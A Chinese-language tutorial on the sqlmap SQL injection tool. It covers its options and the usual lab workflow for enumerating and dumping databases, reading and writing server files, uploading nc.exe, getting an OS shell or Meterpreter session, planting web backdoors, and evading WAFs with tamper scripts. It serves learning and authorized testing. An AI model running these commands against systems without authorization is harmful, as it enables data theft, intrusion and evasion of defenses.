SQLmap是什么?

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。

SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:
1、完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

2、完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

3、在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

4、支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列

5、支持自动识别密码哈希格式并通过字典破解密码哈希。

6、支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。

7、支持在数据库管理系统中搜索指定的数据库名、表名和列名

8、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。

9、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。

SQLMAP--Python安装

如果是windows系统需要先下载python安装,然后再下载sqlmap进行安装和使用,在kali系统自带sqlmap工具。

SQLMAP目录介绍

1、doc目录:保护sqlmap的简要说明,具体使用说明,作者信息等。

2、extra目录:包含sqlmap的额外功能,如发出声响、允许cmd、安全执行等。

3、lib目录:sqlmap核心目录。

4、plugins目录:包含了sqlmap目前支持的13种数据库信息和数据库通用事项。

5、procs目录:包含了mssql、mysql、oracle、postgresql的触发程序。

6、shell目录:包含了注入成功后的9种shell远程命令执行。

7、tamper目录:包含了waf绕过脚本。

8、thirdparty目录:包含了第三方插件,例如优化,保持连接,颜色。

9、txt目录:包含了表名字典,列名字典,UA字典等。

10、udf目录:存放攻击载荷。

11、waf目录:存放waf特征判断脚本。

12、xml目录:存放多种数据库注入检测的payload等信息

SQLMAP工作流程

 

 

SQLMAP特性

sqlmap支持常见的六种不同的注入模式(不计算其他数据库类型):

1、基于布尔盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入、即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入、可以使用union的情况下的注入。

5、堆查询注入、可以同时执行多条语句的执行时的注入。

6、内联查询注入、在sql语句中执行sql语句

SQLMAP支持的13+种数据库

 

 

SQLMAP基本命令

1.选项

-h,--help  显示基本帮助信息并退出
-hh  显示高级帮助信息并退出
--version  显示程序版本信息并退出

2.目标

在这些选项中必须提供至少有一个确定目标

-u  目标URL  
例:sqlmap -u "www.abc.com/index.php?id=1"
-m  后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r  可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt

3.请求

这些选项可以用来指定如何连接到目标URL

--method=METHOD 指定是get方法还是post方法。
例: --method=GET --method=POST
--random-agent  使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--proxy=PROXY 指定一个代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。

4.注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

-p  测试参数
例:  sqlmap -r bp.txt -p "username"
--skip-static  跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast  获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。

5.检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

--level=LEVEL  执行测试的等级(1-5,默认为1) 
lv2:cookie; lv3:user-agent,refere; lv5:host 
在sqlmap/xml/payloads文件内可以看见各个level发送的payload  我常使用--level 3
--risk=RISK  执行测试的风险(0-3,默认为1) 
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。  常用就是默认1

6.枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。 脱库时使用

-b, --banner        获取数据库管理系统的标识
--current-user      获取数据库管理系统当前用户
--current-db        获取数据库管理系统当前数据库
--hostname          获取数据库服务器的主机名称
--is-dba            检测DBMS当前用户是否DBA
--users             枚举数据库管理系统用户
--passwords         枚举数据库管理系统用户密码哈希
--privileges        枚举数据库管理系统用户的权限
--dbs              枚举数据库管理系统数据库
--tables           枚举DBMS数据库中的表
--columns          枚举DBMS数据库表列
-D                  要进行枚举的指定数据库名
-T                  要进行枚举的指定表名
-C                  要进行枚举的指定列名
--dump             转储数据库表项,查询字段值
--search           搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY   要执行的SQL语句
--sql-shell         提示交互式SQL的shell

7.文件操作

这些选项可以被用来访问后端数据库管理系统的底层文件系统

--file-read=RFILE     从后端的数据库管理系统文件系统读取文件
--file-write=WFILE    编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE     后端的数据库管理系统写入文件的绝对路径

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap.py -u"192.168.136.129/sqlmap/" --file-write="/software/nc.exe" --file-dest="C:/WINDOWS/Temp/nc.exe"

8.操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

--os-cmd=OSCMD      执行操作系统命令(OSCMD)
--os-shell          交互式的操作系统的shell

SQLMAP使用常规步骤

1、判断是否有注入

sqlmap -u 127.0.0.1/sqli/Less-1/?

2、查看所有数据库

sqlmap -u 127.0.0.1/sqli/Less-1/? --dbs

3、查看当前使用的数据库

sqlmap -u 127.0.0.1/sqli/Less-1/? --current-db

4、查看数据表

sqlmap -u 127.0.0.1/sqli/Less-1/? -D security --tables

5、查看列名

sqlmap -u 127.0.0.1/sqli/Less-1/? -D security -T users --columns

6、查看数据

sqlmap -u 127.0.0.1/sqli/Less-1/? -D security -T user --dump

SQLMAP基本参数详情

基本选项

-h,-help 显示基本帮助信息并退出 -hh 显示高级帮助信息并退出 -version 显示程序版本信息并退出 -vVERBOSE信息级别:0-6(缺省1),其值具体含义:“0”只显示python错误以及严重的信息;“1”同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看的sqlmap发送的测试payload最好的等级就是3。

基本选项输出级别

参数:-v

sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3。4、5和6。使用参数“-v <级别>”来指定某个等级,如果使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别描述如下:

0:只显示python的tracebacks信息,错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG]
3:同时显示注入使用的攻击载荷
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体;

目标模块

-r和-data参数用做POST型注入,举例如下

方式1:sqlmap -u url -r"d://postrequest.txt" postrequset存储post种的数据实体

方式2:sqlmap -u url --data"name=value"的形式

方式3:sqlmap -r "d://postrequest.txt" postrequest存储整个post请求

请求模块

看基本命令

注入模块

后端数据库类型:默认情况下sqlmap会自动的探测web应用后端的数据库类型: MySQL,Oracle,PostgreSQL,MSSQL,Access,SQLite,Firebird,Sybase,SAPMaDB,DB2等13种

技巧:在知道后端数据库的类型后,可以直接通过--dbms参数指定后端数据库类型,加快SQLMAP执行的速度。

枚举模块

看基本命令

探测模块

risk

风险等级:共有3个【1-3】,最大值是3;
1、1会测试大部分的测试语句(默认值)
2、2会增加基于时间的测试语句;
3、3会增加OR语句的SQL注入测试;

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新整个表,可能造成很大的风险;

level

探测等级:一共有5个等级【1-5】,默认是1。 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用-level参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer;

HTTP Cookie在2级时可以检测
HTTP User-Agent/Referer在3级时就会检测

允许操作系统命令

可以在数据库与***者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Meterpreter生成shellcode,并有四种方式执行它;

1、参数:--os-shell 通过用户自定义的sys_bineval()函数在内存中执行Meterpreter的shellcode,支持MySQL和PostgreSQL数据库。

2、参数:--os-pwn 通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,MSSQL的xp_cmdshell()函数。

3、参数:--os-smbrelay 通过SMB***(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator)。

4、参数:--os-bof 通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload。

可以在数据库与***者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Meterpreter生成shellcode,并有四种方式执行它;

用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门,支持的语言: 1、ASP 2、ASP.NET 3、JSP 4、PHP

普通模块

当想遇到选择的时候,让工具自动帮我们选择,可使--batch参数; 如果不想用之前缓存这个目标的session文件,可以使用这个参数,会清空之前的session。重新测试该目标。

其他杂项

--sqlmap-shell交互式sqlmap shell --wizard简单的向导界面为初学者用户,会一步一步引导你填入参数进行注入

SQLMAP其他参数介绍

设置参数的前缀和后缀

--prefix,--suffix:在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,通常使用该参数。

例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=('".$_GET['id']."')LIMIT 0,1";

需要添加-prefix和-suffix参数:

sqlmap -u "192.168.0.1/sql-labs?" --prefix " ') " --suffix "AND(' abc' = 'abc"

统计表中数据的个数

--count:有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用参数。

sqlmap -u "192.168.21.129/sqlmap/m" --count -D testdb

设置延迟时间

--time-sec:在网络不太好的时候,时间延迟盲注默认采用5s延迟需要修改,通过该参数可以设置

sqlmap -u "192.168.21.129/sqlmap/m" --technique T -time-sec 10

获取当前用户权限

--privileges:当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看的哪个用户的权限。

sqlmap -u "192.168.21.129/sqlmap/m" --technique U --threads 10 --privileges --batch --dbms mysql

--is-dba:判断当前的用户是否为管理员,是的话会返回True

sqlmap -u "192.168.21.129/sqlmap/m" --technique U --threads 10 -is-dba --dbms mysql

读取目标文件

--file-read:读取服务器路径下的文件,并保存在output目录下的file中。
sqlmap -u "192.168.21.129/sqlmap/m" --technique U --threads 10 --batch --dbms mysql --file-read C:/phpStudy1/PHPTutorial/WWW/333.php

--file-write:写入本地文件到服务器中,通常需要结合--file-dest参数一起使用;

sqlmap -u "192.168.21.129/sqlmap/m" --technique U --threads 10 --batch --dbms mysql --file-write/root/Documents/post.txt --file-dest C:/phpStudy1/PHPTutorial/WWW/post.txt

支持HTTPS

sqlmap同时也支持https的SQL注入,只需加入参数-force-ssl告诉sqlmap这是http服务即可。如下:(默认不是443,在后加其端口) sqlmap -u "192.168.21.129/sqlmap/m" -force-ssl

检测是否有WAF/IPS/IDS

检查是否waf/ips/ids --identify-waf 彻底的waf检查,支持30多种产品 --check-waf 首先--identify-waf

判断该web服务器是否被WAF/IPS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断,在此我们,也介绍使用sqlmap进行检测是否有WAF/IPS/IDS

sqlmap -u "测试的URL" --thread 10 --identify-waf 首选
sqlmap -u "测试的URL" --thread 10 --check-waf 备选

tamper

sqlmap是一款注入神器广为人知,tamper常常用来绕过WAF,很实用的模块,需要掌握怎么用,怎么找到想要使用的模块。 工具既然叫做工具,主要用来辅助我们完成某些复杂的任务,仅仅适用于当进行某些重复的繁琐工作,不能太过依赖。

说明:目前temper只支持54种绕过方法,对版本和数据库都有要求,意思是有的只能在特定的数据库下,某些版本下才可以生效。

绕过WAF

1、使用参数绕过

sqlmap -u "url" --random-agent -v 2 使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
sqlmap -u "url" --hpp -v 3 使用HTTP参数污染进行绕过,尤其是在ASP.NET/IIS平台上
sqlmap -u "url" --delay=3 --time-sec=60 使用长的延时来避免触发WAF的机制,这方式比较耗时
sqlmap -u "url" proxy=211.211.211.211:8080 --proxy-cred=211:985 使用代理进行注入等

2、使用temper脚本

例子1:sqlmap -u 192.168.0.220/sqli-labs --tamper "space2comment" -v 3 例子2:sqlmap -u 192.168.0.220/sqli-labs --tamper "space2comment,versionedmorekeywords" -v 3

3、脚本参数组合策略绕过

sqlmap -u "url" --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py

sqlmap -u "url" --user-agent="Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebkit/534.24 (KHTML,like Gecko) Chrome/38.0.696.12 Safari/534.24" --tamper=apostrophemask.py,equaltolike.py

因为WAF可能采用白名单规则,所以对于选择哪种策略,重点是根据-v 3提示的信息进行判断,可以抓取主流的浏览器的user-agent,适当的延时,加上注入字符转换---大小写、空格、字符串、注释、加密等等方式;